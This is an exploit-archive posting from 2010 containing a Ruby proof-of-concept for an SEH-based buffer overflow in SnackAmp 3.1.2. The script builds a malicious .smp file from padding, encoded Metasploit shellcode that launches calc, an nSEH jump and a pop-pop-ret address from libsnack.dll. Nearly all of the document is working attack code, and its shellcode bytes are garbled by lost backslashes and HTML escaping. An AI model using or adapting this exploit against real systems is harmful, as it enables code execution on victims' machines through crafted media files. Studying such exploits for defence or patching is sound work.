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SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability (

Posted on 29 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability (SEH)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================
SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability (SEH)
================================================================

# Exploit Title: SnackAmp 3.1.2 Malicious SMP Buffer Overflow Vulnerability (SEH)
# Date: 08/28/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/snackamp/
# Version: 3.1.2
# Tested on: Windows XP SP3 EN
# CVE: N/A
 
# Shoutz to MC, Thanks bro!
 
#! /usr/bin/env ruby
 
nSEH = [0x909006eb].pack('V')
 
SEH = [0x016e52b7].pack('V') # pop pop ret from libsnack.dll
 
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
payload =  &quot;xdbxc0x31xc9xbfx7cx16x70xcc&quot;
payload &lt;&lt; &quot;xd9x74x24xf4xb1x1ex58x31x78&quot;
payload &lt;&lt; &quot;x18x83xe8xfcx03x78x68xf4x85&quot;
payload &lt;&lt; &quot;x30x78xbcx65xc9x78xb6x23xf5&quot;
payload &lt;&lt; &quot;xf3xb4xaex7dx02xaax3ax32x1c&quot;
payload &lt;&lt; &quot;xbfx62xedx1dx54xd5x66x29x21&quot;
payload &lt;&lt; &quot;xe7x96x60xf5x71xcax06x35xf5&quot;
payload &lt;&lt; &quot;x14xc7x7cxfbx1bx05x6bxf0x27&quot;
payload &lt;&lt; &quot;xddx48xfdx22x38x1bxa2xe8xc3&quot;
payload &lt;&lt; &quot;xf7x3bx7axcfx4cx4fx23xd3x53&quot;
payload &lt;&lt; &quot;xa4x57xf7xd8x3bx83x8ex83x1f&quot;
payload &lt;&lt; &quot;x57x53x64x51xa1x33xcdxf5xc6&quot;
payload &lt;&lt; &quot;xf5xc1x7ex98xf5xaaxf1x05xa8&quot;
payload &lt;&lt; &quot;x26x99x3dx3bxc0xd9xfex51x61&quot;
payload &lt;&lt; &quot;xb6x0ex2fx85x19x87xb7x78x2f&quot;
payload &lt;&lt; &quot;x59x90x7bxd7x05x7fxe8x7bxca&quot;
 
junk = &quot;x41&quot; * (10580 - payload.length)
 
jmp_back = &quot;xe9x62xffxffxff&quot; # jmp $-153
 
File.open(&quot;crash.smp&quot;, 'w') do |b|
    b.write junk + payload + nSEH + SEH + jmp_back
end


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